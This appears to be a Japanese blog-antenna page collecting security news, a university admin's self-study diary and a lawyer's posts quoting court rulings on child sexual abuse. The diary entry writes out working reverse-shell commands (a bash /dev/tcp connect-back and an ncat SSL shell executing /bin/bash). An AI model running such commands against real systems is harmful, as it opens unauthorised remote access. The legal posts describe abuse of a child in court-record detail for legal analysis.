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  1. 2024/04/24 18:41:36 セキュリティホール memo含むアンテナおとなりページ

    ■ 2024.04.24
    》 Do Tanks Have a Place in 21st-Century Warfare? (NYTimes, 4/20)。戦車不要論再び?
    FPV = 一人称視点ドローン。DeepL 訳:
    ワシントンのカーネギー国際平和財団でロシアとユーラシア・プログラムのシニアフェローを務めるマイケル・コフマン氏は、「現段階では、FPVを打ち負かすために使われる最も効果的な手段は、電子戦と、戦車に追加装甲やその他の種類の遮蔽物を付けるなど、さまざまな種類の受動的防御だ」と述べた。同氏は、FPVの撃破には「戦場でのオーダーメードのアプローチ」が必要であり、ウクライナ軍はそれに習熟しつつあると述べた。
    いよいよ本格的な電子戦装備の塔載が必須になってくるのかな。
    アフガンで IED が猛威をふるったときには装甲増加・耐爆構造化・IED jammer 装備で対抗したわけだけど、今回の戦訓を受けて、また新たな進化が必要になるのだろうなあ。
    》 WelcomeHRのマイナンバーを含む個人情報漏洩事故の対応がひどい件(追記あり) (なか2656のblog, 4/14)。
    確かにひどい。
    第二に、この被害者あてのお詫びのメールを読むと、「マイナンバーについて(略)一方で、マイナンバーに記載されている情報(略)から、より詳しい個人情報を抜き取られることはありません。」と説明されていることは非常にミスリーディングなのではないでしょうか。
    つまり、いわゆる名簿屋がこのような個人情報のデータセットを収集した場合、他で取得した複数の個人情報のデータセットと名寄せ・突合し、被害者本人の人物像を作り出し、それを販売するであるとか、プロファイリングを行う等の行為が可能となってしまいます(鈴木正朝・高木浩光・山本一郎『ニッポンの個人情報』224頁)。そしてマイナンバーは悉皆性・唯一無二性を有する究極のマスターキーなので、これが漏洩してしまうと他の個人情報のデータセットとの名寄せ・突合が容易になってしまいます。
    にもかかわらず、まるで「マイナンバーが漏洩したけれどあまり心配はいりません」と言いたげなこのお詫びメールのアナウンスは非常に不適切であると思われます。
    そのため、ワークスタイルテックは被害者の方々に対して、市役所等の自治体にマイナンバーカードの再発行を行うことを奨励すべきなのではないかと思われます(マイナンバー法17条5項参照、下の追記参照)。
    マイナンバー漏洩の際にはセットで告知すべきだよなあ。
    関連:
    弊社サービスをご利用いただいているお客様への重要なご報告とお詫び (ワークスタイルテック, 3/29)
    本来、お客様がストレージサーバーに保存するファイルの一覧は外部からアクセスできない仕様とすべきところ、当該サーバーのアクセス権限の誤設定により、閲覧可能な状態となっておりました。
    当該誤設定により、ファイルの一覧の情報をもとに各ファイルをダウンロードすることも可能となっており、実際に第三者によるファイルのダウンロードが行われていたことが発覚いたしました。
    まる見え系ですか。
    情報セキュリティ基本方針 (ワークスタイルテック)
    サービス品質保証制度(SLA) (ワークスタイルテック)
    データ暗号化
    通信については、SSLにて暗号化を行っています。 ※個人番号や機密情報は暗号化を行い、保管しています。 ※サーバー自体も暗号化しています。
    ん? きちんと暗号化されていたら、
    本件漏洩も問題が軽減される (状況によっては問題ないとすら言える) はずなのでは?
    しかし告知文書には、そんな文言は一言もないよ?
    どういうこと?
    個人情報漏えいに関するご報告とお詫び (Leaf NxT, 4/22)
    【対象となる個人データに係る本人の数】 26,829人
    (中略)
    なお、「WelcomeHR」から個人情報の漏えいが発生した時点において、当社とワークスタイルテック株式会社間における「WelcomeHR」利用に関する契約は終了していましたが、同契約の終了後も「WelcomeHR」において、本件に係る個人情報が保存されていたため、本件が発生するに至りました。
    契約終了時におけるデータの速やかな削除の確認を怠った、ということかな。

  2. 2024/04/24 16:39:17 a threadless kite - 糸の切れた凧含むアンテナおとなりページ

    2024/04/24(水)水曜日ー。(皆勤賞とは言わないけれど、)
    [雑談] いろいろ。
    楽天モバイルのスマホが乗っ取られる事案 同社が回線停止や楽天ID/パスワード変更などを呼びかけ - ITmedia Mobile
    楽天モバイルのスマホが乗っ取られる事案 同社が回線停止や楽天ID/パスワード変更などを呼びかけ
    楽天モバイルは2024年4月23日から、eSIMを不正に利用される事案があったとして、利用者に注意喚起を行っている。eSIM(Embedded SIM)はネットワーク経由で契約者情報(プロファイル)を書き換えたり、プランを変更したりできるのが利点。eSIMの再発行もオンラインで行える場合が多い。
    https://www.itmedia.co.jp
    エルサルバドルの国営ウォレット、ソースコードが漏洩しセキュリティ脆弱性が深刻化 | Cointelegraph | コインテレグラフ ジャパン
    エルサルバドルの国営ウォレット、ソースコードが漏洩しセキュリティ脆弱性が深刻化
    エルサルバドルの国営ビットコインウォレット「Chivo」を巡る問題が深刻化している。ハッカー集団「CiberInteligenciaSV」は4月23日、ブラックハットハッキング犯罪フォーラム「BreachForums」上で、機密情報であるChivoのソースコードの一部を公開した。
    https://jp.cointelegraph.com
    HOYA、「生産と供給は概ね正常に戻りつつある」 不正アクセスによるシステム障害で - ITmedia NEWS
    HOYA、「生産と供給は概ね正常に戻りつつある」 不正アクセスによるシステム障害で
    HOYAは23日、システム障害で停止していたシステムの多くが復旧したと発表した。「生産活動と供給体制は概ね正常に戻りつつある」という。
    https://www.itmedia.co.jp
    弊社サーバーのマルウェア感染に関する お詫びとお知らせ
    弊社サーバーのマルウェア感染に関する お詫びとお知らせ
    この度、本社サーバーがコンピュータウイルス「LockBitランサムウェア 」に感染しました。 今回の不正アクセスの直接の原因は、セキュリティ強化の一環で FortiGate(統合型セキュリティアプライアンス)の設置を昨年に依頼しましたスターティア株式会社(https://www.startia.co.jp/)が設置の際に使用していた test アカウントを削除せずそのまま放置し、悪意のある第三者が test アカウントを使用して弊社のサーバーに侵入した事によるものとなります。 なお、現時点では、社内情報の流出の事実は確認されておりません。また、被害サーバーにはお客様情報は入っておりません。 関係する皆さまには、多大なご迷惑とご心配をおかけすることとなり、心よりお詫び申し上げます。 対応としましては、感染が判明した当該サーバーをすべてネットワークから遮断する対策を講じるとともに、弊社全部署で使用しているすべてのパソコンの検査を進めております。また、外部の専門機関の助言を得ながら、データ流出の有無を確認して参ります。詳細が判明しましたら改めてお知らせいたします。
    本件に関するお問合せ コーポレートグループ 03-5821-7482 平日 9:00~17:30
    https://endless-inc.jp
    今回の不正アクセスの直接の原因は、セキュリティ強化の一環で FortiGate(統合型セキュリティアプライアンス)の設置を昨年に依頼しました~~~が設置の際に使用していた test アカウントを削除せずそのまま放置し、悪意のある第三者が test アカウントを使用して弊社のサーバーに侵入した事によるものとなります。
    中国語キーボードアプリに入力内容を傍受される欠陥あり、Baidu・Samsung・Tencent・Xiaomiなど - GIGAZINE
    中国語キーボードアプリに入力内容を傍受される欠陥あり、Baidu・Samsung・Tencent・Xiaomiなど
    スマートフォン向けキーボードアプリの中には、予測変換機能を提供するために入力内容をクラウドに送信するものもあります。トロント大学の研究機関である「Citizen Lab」が中国語のキーボードアプリを分析した結果、9社中8社のアプリにキー入力を傍受できてしまう脆弱(ぜいじゃく)性が含まれていることが明らかになりました。
    https://gigazine.net
    Google、サードパーティcookie廃止を3度目の延期 年内には実施せず - ITmedia NEWS
    Google、サードパーティcookie廃止を3度目の延期 年内には実施せず
    Googleは、年内完了の予定だったChromeでのサードパーティcookie廃止を延期すると発表した。業界、規制当局、開発者からの異なるフィードバックを調整することに関連する課題が継続しているためとしている。
    https://www.itmedia.co.jp
    Twilog、API制限回避のため自動更新を停止 有料プラン導入で対応 - ねとらぼ
    Twilog、API制限回避のため自動更新を停止 有料プラン導入で対応
    トゥギャッターは、「Twilog」でAPI制限回避のため、自動更新を停止したと発表しました。5月1日に有料プランを導入して、自動更新に再度対応するとしています。TwilogはX(Twitter)の投稿をブログ形式で保存するサービス。X API有料化を受けて停止しましたが、その後…
    https://nlab.itmedia.co.jp
    経済安全保障分野におけるセキュリティ・クリアランス(適格性評価)制度の企業影響について
    経済安全保障分野におけるセキュリティ・クリアランス(適格性評価)制度の企業影響について
    2024年の通常国会での法制化が見込まれている経済安全保障分野におけるセキュリティ・クリアランス(適格性評価)制度について、その施策内容と企業に及ぼす影響を解説します。
    https://www.pwc.com
    海外ブランドクレカの成人コンテンツ決済停止、長期化の様相 サービス継続を断念するケースも - ITmedia NEWS
    海外ブランドクレカの成人コンテンツ決済停止、長期化の様相 サービス継続を断念するケースも
    海外クレジットカードブランドによる成人向けコンテンツの決済停止が相次いでいる問題で、エイシスは「当面の間」は再開できないという見通しを明らかにした。一方、サービスの継続を諦める企業も出てきた。
    https://www.itmedia.co.jp
    100均のセリアのロゴ、日産車が「100キロ制限」と誤認識 | 自動運転ラボ
    100均のセリアのロゴ、日産車が「100キロ制限」と誤認識 | 自動運転ラボ
    100円ショップのセリアの看板を車のセンサー機能が誤認識する事例が、Xなどで投稿されている。100の数字を「制限速度100キロ」の標識と誤って認識。マツダ車のセンシング機能がそのように認識してしまった事例も。
    https://jidounten-lab.com
    どうみても“戦車”っぽい「戦車じゃない車両」米空挺部隊でテスト開始 早ければ2025年夏に配備開始か | 乗りものニュース
    どうみても“戦車”っぽい「戦車じゃない車両」米空挺部隊でテスト開始 早ければ2025年夏に配備開始か | 乗りものニュース
    「戦車」ではなと米陸軍が明言。
    https://trafficnews.jp
    大好きなお母さんに甘えながら、熱い視線を送ってくる猫さん。たっぷりとナデナデされると幸せが溢れ出た♡ | エウレカ!
    大好きなお母さんに甘えながら、熱い視線を送ってくる猫さん。たっぷりとナデナデされると幸せが溢れ出た♡
    大好きなお母さんに甘えたくてしょうがない猫さん。じっとお母さんの顔を見つめ始めたと思ったら、隣に寄り添って、幸せそうにくつろぎ始めました♡ 出典:sinkaijin その後も熱い視線でお母さんの顔を何
    https://eureka.tokyo

  3. 2024/04/24 14:27:50 理工学部 Admin 日記含むアンテナおとなりページ

    ■ 2024.04.22: 曇
    》 reverse shell のおべんきょう
    How-To Create a Reverse Shell: Bash Script Cheat Sheet (I/O Flood, 2023.11.26)。nc -lvnp 5555 と書かれているが、これだと
    FreeBSD では機動しない。
    マニュアルを見ると -p source_port であり listen port を指定するオプションではない。
    起動しないのが正常。
    というか、
    なぜ Linux では機動するのか。謎。
    nc -lvn 5555 で待ち受け、bash -i >& /dev/tcp/hostipaddress/5555 0>&1 で接続。
    うまくいった。
    Encrypted reverse shell using ncat (O'Reilly)、 Encrypted Reverse Shell for Pentester (Raj Chandel’s Blog Hacking Articles, 2021.04.05)。
    FreeBSD では、ncat は nmap パッケージ
    についてくるコマンド。
    ncat -l 443 --ssl -v で 待ち受け、ncat hostipaddress 443 --ssl -e /bin/bash -v
    で接続。プロンプトが出ないが、まあそういうもの。

  4. 2024/04/24 08:19:04 はてなダイアリー - 弁護士 奥村 徹(大阪弁護士会)の見解含むアンテナおとなりページ

    2024-04-23
    実子に対する強制わいせつ罪(176条後段)と児童ポルノ製造(那覇地裁R06.2.2)
    実子に対する強制わいせつ罪(176条後段)と児童ポルノ製造(那覇地裁R06.2.2)
    よくわからないけど、数回の製造罪は併合罪かなあ
    【文献番号】25597989
    強制わいせつ、児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律違反被告事件
    那覇地方裁判所令和5年(わ)第285号、令和6年(わ)第1号
    令和6年2月2日刑事第1部判決
    調書判決
    宣告日 令和6年2月2日
    裁判所 那覇地方裁判所刑事第1部
    罪名 A  強制わいせつ
    AB 児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律違反
    被告人
    判決主文
    被告人aを懲役3年に、被告人bを懲役2年に処する。
    この裁判確定の日から、被告人aに対し4年間、被告人bに対し3年間、それぞれその刑の執行を猶予する。
    罪となるべき事実の要旨
    起訴状及び令和6年1月9日付け追起訴状記載の公訴事実と同一であるから、これらを引用する。
    適用した罰条
    1 被告人aについて
    (1)令和5年法律第66号附則2条1項により同法による改正前の刑法176条後段
    (2)刑法60条、児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律7条4項、2項、2条3項3号
    (3)刑法45条前段、47条本文、10条
    (4)刑法25条1項
    (5)刑訴法181条1項ただし書
    2 被告人bについて
    (1)刑法60条、児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律7条4項、2項、2条3項3号
    (2)刑法45条前段、47条本文、10条
    (3)刑法25条1項
    (4)刑訴法181条1項ただし書
    理由の要旨
    別紙記載のとおり
    (求刑 被告人aにつき懲役3年、被告人bにつき懲役2年)
    令和6年2月19日
    那覇地方裁判所刑事第1部
    裁判所書記官 ○○○○
    裁判官 小野裕信
    (別紙)理由の要旨
    被告人Aは、令和5年3月から9月にかけて、定期的に性的関係を持っていた被告人Bがラブホテルに連れてきた被告人Bの実子(被害者・当時11歳ないし12歳)に対し、乳房や陰部を直接弄ぶわいせつ行為に及ぶとともに、被告人Bと共謀し、その際を含めて5回にわたり、被害者の胸部等を動画撮影して児童ポルノを製造した。
    強制わいせつの態様は直接性器に触れるなど、侵害の度合いが大きなものであるし、児童ポルノ製造のデータはひとたび流出すれば将来にわたって残り続けるおそれがあるのであって、いずれも被害者の性的自由や自尊心を深く傷つける犯行である。性的満足を得ようとした被告人Aも、対価欲しさに撮影に協力した被告人Bも、厳しく非難されるべきである。
    以上の犯情評価や量刑傾向を前提に、被告人両名ともさしたる犯罪歴が見当たらないことや、公訴事実を認めて反省の弁を述べていること、データ流出はうかがわれないことなども考慮し、主文のとおり判決する。
    以上
    令和5年検第11659、11660、11784号
    起訴状
    令和5年11月17日
    那覇地方裁判所殿
    那覇地方検察庁
    検察官 検事 山田与志人
    下記被告事件につき公訴を提起する。

    公訴事実
    第1 被告人aは、被告人bの実子である■(当時11歳)が13歳未満であることを知りながら、同人にわいせつな行為をしようと考え、令和5年3月8日午後9時7分頃から同日午後9時52分頃までの間に、沖縄県浦添市字α××××番地cホテル▽▽▽号室において、入浴後で全裸の状態であった同人の乳房を直接手で触った上、さらに同人をベッドの上に仰向けにして、陰部を直接手指で弄び、もって13歳未満の者に対し、わいせつな行為をし
    第2 被告人両名は、共謀の上、前記■(当時12歳)が18歳に満たない児童であることを知りながら、同年9月5日午後6時24分頃から同日午後7時25分頃までの間に、前記cホテル□□□号室において、同児童の胸部等が露出した姿態を動画撮影機能付き携帯電話機で動画撮影し、その動画データ1点を同携帯電話機の内蔵記録装置に記録させて保存し、もって衣服の全部又は一部を着けない児童の姿態であって,殊更に児童の性的な部位が露出され又は強調されているものであり、かつ、性欲を興奮させ又は刺激するものを視覚により認識することができる方法により描写した電磁的記録に係る記録媒体である児童ポルノを製造し
    たものである。
    罪名及び罰条
    第1 強制わいせつ 令和5年法律第66号による改正前の刑法第176条後段
    第2 児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律違反 同法第7条第4項、第2条第3項第3号、刑法第60条
    令和5年検第12025、12026号
    追起訴状
    令和6年1月9日
    那覇地方裁判所殿
    那覇地方検察庁
    検察官 検事 山田与志人
    下記被告事件につき公訴を提起する。

    公訴事実
    被告人両名は、共謀の上、被告人bの実子である■(当時11歳)が18歳に満たない児童であることを知りながら、別表記載のとおり、令和5年3月8日頃から同年7月5日頃までの間に、4回にわたり、沖縄県浦添市字α××××番地cホテルの各客室内において、同児童の胸部等が露出した姿態を動画撮影機能付き携帯電話機で動画撮影し、その動画データ6点を同携帯電話機の内蔵記録装置に記録させて保存し、もって衣服の全部又は一部を着けない児童の姿態であって、殊更に児童の性的な部位が露出され又は強調されているものであり、かつ、性欲を興奮させ又は刺激するものを視覚により認識することができる方法により描写した電磁的記録に係る記録媒体である児童ポルノを製造したものである。
    罪名及び罰条
    児童買春、児童ポルノに係る行為等の規制及び処罰並びに児童の保護等に関する法律違反 同法第7条第4項、第2条第3項第3号、刑法第60条
    別表
    番号 日時(令和5年)                      客室    動画データ
    1  3月8日午後9時7分頃から同日午後9時52分頃までの間に  ▽▽▽号室 1点
    2  4月5日午後6時52分頃から同日午後7時38分頃までの間に ◇◇◇号室 2点
    3  5月5日午後7時54分頃から同日午後8時48分頃までの間に ◎◎◎号室 1点
    4  7月5日午後6時27分頃から同日午後7時26分頃までの間に ▲▲▲号室 2点
    okumuraosaka 2024-04-23 07:40 読者になる
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    2024-04-22
    愛知県条例では「 公共の場所又は公共の乗物(第三項に定めるものを除く。)において、正当な理由なく、人を著しく羞恥させ、又は人に不安を覚えさせるような方法で、人に対し、卑わいな言動をすること。」が処罰されるので、「匂いを嗅ぐ」でも「卑わいな言動」とされてしまいそうです。
    愛知県条例では「 公共の場所又は公共の乗物(第三項に定めるものを除く。)において、正当な理由なく、人を著しく羞恥させ、又は人に不安を覚えさせるような方法で、人に対し、卑わいな言動をすること。」が処罰されるので、「匂いを嗅ぐ」でも「卑わいな言動」とされてしまいそうです。
    https://news.yahoo.co.jp/articles/00edc54e78f49f0484a36fa390794e5065e61003?source=fb&fbclid=IwZXh0bgNhZW0CMTEAAR2CpeDHb70KjkolQtwItYS24Wx_Kw4FRk9H2beuCRdeQOlBwmTOO6anKE8_aem_AS5kql8h7j_BY3xqbQGkkPWleb7xAbDvMIwKbDR6weZhImXWvTd_sXWiIcTWcLS3AMASQbEeCU0MRnNnHD0XimUP
    “匂いを嗅ぐ”は法律等で規制しきれず…急増する新たな手口『触らない痴漢』苦心する鉄道警察隊の捜査
    そして追及する捜査員に、男が動機を口にしました。
    男:
    「においとか」
    男性捜査員:
    「においが好きなの?」
    男:
    「うん」
    「女性の匂いを嗅ぎたかった」。法律では規制しきれない、“触らない痴漢”といわれる行為です。
    “触らない痴漢”とは「わざと至近距離に近づいてにおいをかぐ」「首筋や耳などに息を吹きかける」「見知らぬ相手に、スマホのデータ共有機能でわいせつ画像を送り付ける」といった行為で、近年急増している、新たな痴漢の手口です。
    痴漢行為を規制する、愛知県の迷惑行為防止条例では、「卑猥な行為」として「体への接触」は明記されているものの、匂いを嗅ぐなどの「触らない痴漢」には明確な記述がありません。
    男性捜査員:
    「それがエスカレートしていって、手を触っただとかそういう話になってくると、もちろん捜査員が見ていたら、現行犯逮捕します」
    愛知県迷惑行為防止条例
    (卑わいな行為の禁止)
    第二条の二 何人も、公共の場所又は公共の乗物(第三項に定めるものを除く。)において、正当な理由なく、人を著しく羞恥させ、又は人に不安を覚えさせるような方法で、次に掲げる行為をしてはならない。
    一 人の身体に、直接又は衣服その他の身に付ける物(以下「衣服等」という。)の上から触れること。
    二 衣服等で覆われている人の身体又は下着をのぞき見し、又は撮影すること。
    三 前号に掲げる行為をする目的で、写真機、ビデオカメラその他の機器(以下「写真機等」という。)を設置し、又は衣服等で覆われている人の身体若しくは下着に向けること。
    四 前三号に掲げるもののほか、人に対し、卑わいな言動をすること。
    ・・・
    愛知県警の解説
    11 「ような」とは、実際に相手方が不安を覚えたかどうかは問わず、具体的な言動の内容等を客観的に判断して、通常不安を覚えるであろうと考えられる言動を含み、不安を覚えさせたよりも広い概念である。
    12 「言動」とは、言語・動作をいう。
    13 「人」とは、男性、女性、成年又は未成年を問わないが、ここでいう人は卑わいな行為の相手方であるから、その行為を卑わいなものとして感じうる能力を有する者であることを要する, しかし、他人に対するものであれば足り、その直接たると間接たるとを問わないから、行為者が他人の認識しうるものであることを知ってなす場合には、本項に触れるものと解すべきである。
    14 「人に対し」とは、他人を相手方としてという意味である。
    15 「故なく」とは、正当な理由がなくの意である「人を著しくしゅう恥させ、又は人に不安を覚えさせるような方法」による行為にかかる。これは、医療行為等の正当な理由によって、人の身体に接触するようなことがあり得るので、そのような行為は、違反態様から除外するために「故なく」と規定するものである。
    16 「しゅう恥」とは、性的しゅう恥心を意味する。このしゅう恥心、すなわち、性的恥じらいは、幅の広い概念であるので「著しく」(社会的に認容し得ない程度に甚だしいものをいう。) という限定を付したものである。
    20 「卑わいな言動」とは、「人を著しくしゅう恥させ、又は人に不安を覚えさせるような方法」によるもので、第1号及び第2号に規定する行為以外のものを指し、通常人がしゅう恥又は不安を覚えるであろうと考えられる程度の野卑で、みだらな言語又は動作をいう。
    刑法第174条(公然わいせつ罪) より広い概念であり、わいせつに至らないもので性的道義観念に反し、人に性的しゅう恥や嫌悪の念又は不安を覚えさせるものをいう。わいせつな言語は、刑法第174条にいう、わいせつ行為に含まれないとするのが通説であるので、卑わいな言語のみによるときは、本条第2項第3号のみが成立すると解すべきであろう。
    強制わいせつ罪における「性的意図」薄井真由子判事
    植村立郎「刑事事実認定重要判決50選 上 《第3版》」2020立花書房
    これに対し、客観的にみて性的意味が認められない行為については,行為者が性的意図をもって行っていたとしても,行為者の主観的事情だけで性的意味を肯定することはできないというべきである。この点に関し,行為者の主観的事情との関係で取り上げられることの多い治療行為と行為者の特殊な性的嗜好(フェティシズム)に基づく行為について検討しておく。
    (ア)治療行為
    (イ)行為者の特殊な性的嗜好(フェティシズム)に基づく行為
    行為者の特殊な性的嗜好(フェティシズム)に基づく行為についても,性的意味の有無の判断と行為者の主観的事情の関係が問題となる。こうした行為は,一見性的意味を持つようには思われない行為であっても,行為者は性的意図を有して行っているからである。この点、あまりに特殊な性的嗜好であり,社会通念上は性的性質が認められない行為については,やはり,行為者の性的意図だけを理由に性的意味を肯定することはできないというべきである。例えば,女性が汗を流す姿を見ることに性的興奮を覚える者が,その姿を見たいがために無理やり運動場を走らせたとしても,社会通念上当該行為に性的意味は認められないから,行為者の主観的事情だけで性的意味があることにはならない。もっとも,社会通念上もフェティシズムに基づく行為として認知されているような行為であれば,そのことから性的意味を肯定できることもあるだろう。
    okumuraosaka 2024-04-22 11:35 読者になる
    広告を非表示にする
    2024-04-22
    「欲望を抑えられず行為に及んだが、付き合っているつもりだった」という児童淫行被疑者の弁解
    https://www.sankei.com/article/20240422-E5HHCJY3T5MZHLWXF5ISVG5D6A/
    自身がプロデュースするアイドルグループの少女(17)にみだらな行為をしたとして、警視庁少年育成課は児童福祉法違反の疑いで、東京都世田谷区世田谷、タレントマネジメント容疑者を逮捕した。「欲望を抑えられず行為に及んだが、付き合っているつもりだった」などと容疑を否認している。
    逮捕容疑は2~3月、3回にわたって自宅や都内のホテルなどで、少女が18歳未満であることを知りながら、みだらな行為をしたとしている。
    同課によると、容疑者は「奥さんと別れるから待ってて」「アイドル卒業したら結婚しよう」などと言い、少女に恋愛感情を抱かせて自宅やホテルに呼び出していたとみられる。少女の父親が警視庁に相談し発覚した。
    児童淫行罪の成立要件につき「同号にいう「させる行為」とは,直接たると間接たるとを問わず児童に対して事実上の影響力を及ぼして児童が淫行をなすことを助長し促進する行為をいうが(最高裁昭和39年(あ)第2816号同40年4月30日第二小法廷決定・裁判集刑事155号595頁参照),そのような行為に当たるか否かは,行為者と児童の関係,助長・促進行為の内容及び児童の意思決定に対する影響の程度,淫行の内容及び淫行に至る動機・経緯,児童の年齢,その他当該児童の置かれていた具体的状況を総合考慮して判断するのが相当である。」と判示していますが
    行為者と児童の関係
    助長・促進行為の内容及び児童の意思決定に対する影響の程度,
    淫行の内容及び淫行に至る動機・経緯,
    児童の年齢,
    その他当該児童の置かれていた具体的状況
    は、量刑の要素でもあるので、弁護人はこれらの項目について程度を争って情状立証を行えば、その分軽くなります。可罰性を下回れば無罪になるという連続的な関係です。
    児童淫行罪の保護対象は18歳未満ですが、刑法改正で16~17歳が保護対象から外れている点も検討する必要があります。
    【判例番号】 L07110035
    児童福祉法違反被告事件
    【事件番号】 最高裁判所第1小法廷決定/平成26年(あ)第1546号
    【判決日付】 平成28年6月21日
    【判示事項】 1 児童福祉法34条1項6号にいう「淫行」の意義
    2 児童福祉法34条1項6号にいう「させる行為」に当たるか否かの判断方法
    【判決要旨】 1 児童福祉法34条1項6号にいう「淫行」とは,児童の心身の健全な育成を阻害するおそれがあると認められる性交又はこれに準ずる性交類似行為をいい,児童を単に自己の性的欲望を満足させるための対象として扱っているとしか認められないような者を相手とする性交又はこれに準ずる性交類似行為は,これに含まれる。
    2 児童福祉法34条1項6号にいう「させる行為」に当たるか否かは,行為者と児童の関係,助長・促進行為の内容及び児童の意思決定に対する影響の程度,淫行の内容及び淫行に至る動機・経緯,児童の年齢,その他当該児童の置かれていた具体的状況を総合考慮して判断すべきである。
    【参照条文】 児童福祉法34-1
    児童福祉法60-1
    児童福祉法1
    【掲載誌】 最高裁判所刑事判例集70巻5号369頁
    裁判所時報1654号174頁
    判例タイムズ1452号72頁
    判例時報2384号126頁
    LLI/DB 判例秘書登載
    【評釈論文】 警察学論集69巻10号162頁
    警察公論71巻10号87頁
    研修820号15頁
    論究ジュリスト22号229頁
    ジュリスト1505号182頁
    ジュリスト1521号112頁
    法学新報124巻11~12号179頁
    法学セミナー61巻10号115頁
    法曹時報70巻8号217頁
    刑事法ジャーナル51号125頁
    主   文
    本件上告を棄却する。
    理   由
    弁護人竹永光太郎の上告趣意のうち,憲法31条違反をいう点は,児童福祉法34条1項6号の構成要件が所論のように不明確であるということはできないから,前提を欠き,その余は,単なる法令違反,事実誤認の主張であって,刑訴法405条の上告理由に当たらない。
    所論に鑑み,職権で判断する。
    児童福祉法34条1項6号にいう「淫行」とは,同法の趣旨(同法1条)に照らし,児童の心身の健全な育成を阻害するおそれがあると認められる性交又はこれに準ずる性交類似行為をいうと解するのが相当であり,児童を単に自己の性的欲望を満足させるための対象として扱っているとしか認められないような者を相手とする性交又はこれに準ずる性交類似行為は,同号にいう「淫行」に含まれる。
    そして,同号にいう「させる行為」とは,直接たると間接たるとを問わず児童に対して事実上の影響力を及ぼして児童が淫行をなすことを助長し促進する行為をいうが(最高裁昭和39年(あ)第2816号同40年4月30日第二小法廷決定・裁判集刑事155号595頁参照),そのような行為に当たるか否かは,行為者と児童の関係,助長・促進行為の内容及び児童の意思決定に対する影響の程度,淫行の内容及び淫行に至る動機・経緯,児童の年齢,その他当該児童の置かれていた具体的状況を総合考慮して判断するのが相当である。
    これを本件についてみると,原判決が是認する第1審判決が認定した事実によれば,同判示第1及び第2の各性交は,被害児童(当時16歳)を単に自己の性的欲望を満足させるための対象として扱っているとしか認められないような者を相手とする性交であり,同児童が通う高等学校の常勤講師である被告人は,校内の場所を利用するなどして同児童との性的接触を開始し,ほどなく同児童と共にホテルに入室して性交に及んでいることが認められる。このような事実関係の下では,被告人は,単に同児童の淫行の相手方となったにとどまらず,同児童に対して事実上の影響力を及ぼして同児童が淫行をなすことを助長し促進する行為をしたと認められる。したがって,被告人の行為は,同号にいう「児童に淫行をさせる行為」に当たり,同号違反の罪の成立を認めた原判断は,結論において正当である。
    よって,刑訴法414条,386条1項3号により,裁判官全員一致の意見で,主文のとおり決定する。
    (裁判長裁判官 小池 裕 裁判官 櫻井龍子 裁判官 山浦善樹 裁判官 池上政幸 裁判官 大谷直人)
    【判例番号】 L07110035
    児童福祉法違反被告事件
    【事件番号】 最高裁判所第1小法廷決定/平成26年(あ)第1546号
    【判決日付】 平成28年6月21日
    【出  典】 判例タイムズ1452号72頁
    1 本件は,高校の常勤講師の被告人(当時28歳)が,同校生徒の被害児童(当時16歳)に対し,2度にわたり自己を相手に性交(以下「本件各性交」という。)させたという児童福祉法違反の事案である。被告人は,被害児童と本件各性交をしたことは認めていたが,弁護人は,被告人が同児童と交際していたから,本件各性交は児童福祉法34条1項6号(以下「本号」ともいう。)にいう「淫行」に当たらない,被告人が同児童に事実上の影響力を及ぼして働きかけていないから,同号にいう「淫行をさせる行為」はしていないなどと主張して同号該当性を争うと共に,第1審当時から,同号の構成要件が不明確であるから,同号は憲法31条に違反するとの規定違憲を主張していた。本決定は,規定違憲をいう点を前提を欠いた不適法な主張として排斥した上で,職権により,「淫行」の意義と「させる行為」の判断方法について判示し,被告人に同号違反の成立を認めた原判決の判断を結論において是認して上告を棄却した。
    2 本号にいう「淫行」の意義を示した最高裁判例はこれまでなかったが,学説上は,同号の「淫行」の意義として,「性道徳上非難に値する性交又はこれに準ずべき性交類似行為」とする解釈が一般的なものとされ(小泉祐康「児童福祉法」『注解特別刑法(7)風俗・軽犯罪編〔第2版〕』36頁等),本件原判決が是認した第1審判決も同様の解釈を明示していた。
    しかし,「性道徳」として想起されるところには,かなりの広がりがある上,その判断は,それぞれの人が抱く価値観によって差が生じかねない。そこで,児童福祉法の理念,趣旨に立ち返ってみると,本号の定める「淫行」に当たるかどうかは,児童福祉法の趣旨に照らし,端的に,「児童の心身の健全な育成を阻害するおそれ」があるかどうかによって,決せられるべき事柄といえ,また,児童の心身の健全な育成を阻害するおそれがあるかどうかは,一般人であれば共通のイメージを抱くことができ,明確な解釈基準になり得るものと思われる。このようなことから,本決定は,「児童福祉法34条1項6号にいう『淫行』とは,同法の趣旨(同法1条)に照らし,児童の心身の健全な育成を阻害するおそれがあると認められる性交又はこれに準ずる性交類似行為をいうと解するのが相当」としたものと思われる。
    3 「させる行為」の解釈
    (1) 本号の解釈に係るこれまでの動きをみてみると,淫行が児童に及ぼす有害性の高さや児童保護の観点から,淫行を「させる行為」に当たると解される範囲が徐々に広がっていき(最三小判昭和30年12月26日・刑集9巻14号3018頁,判タ57号41頁等参照),最二小決昭和40年4月30日・裁判集刑事155号595頁において,「淫行をさせる行為のうちには,直接たると間接たるとを問わず児童に対して事実上の影響力を及ぼして児童が淫行をなすことを助長し促進する行為をも包含する」との解釈が示され,その後,緩やかな助長・促進行為であっても,「させる行為」に該当するとされる事例が増えていった。ただし,昭和40年判例当時には,自己を淫行の相手とする場合は,淫行を「させる行為」に当たらないとの解釈が通説的見解であり(伊藤榮樹ほか編『注釈特別刑法(8)医事・薬事法,風俗関係法編』〔澤新・長島裕執筆部分〕790頁等),昭和40年判例も,同見解を前提としていたものと思われる。一方,児童保護の観点から,自己を淫行の相手とする淫行をさせる場合も本罪に含まれるとの解釈がかなり早い段階から学説上示され,有力となっていたところ(小泉祐康「児童福祉法」研修252号105頁等),やがて,下級審判例において,これを肯定する事例が急速に増え,最三小決平成10年11月2日・刑集52巻8号505頁もこれを肯定する趣旨の判示をした。このように自己を淫行の相手とする場合も淫行を「させる行為」に当たり得るとしつつ,その行為としては緩やかな助長・促進行為があれば足りると解されるとすると,処罰範囲が広くなりすぎるのではないか,各都道府県における青少年保護育成条例における淫行処罰との違いが不分明になるのではないか,といった問題が指摘されており(例えば,佐々木史朗・若尾岳志「児童福祉法34条1項6号の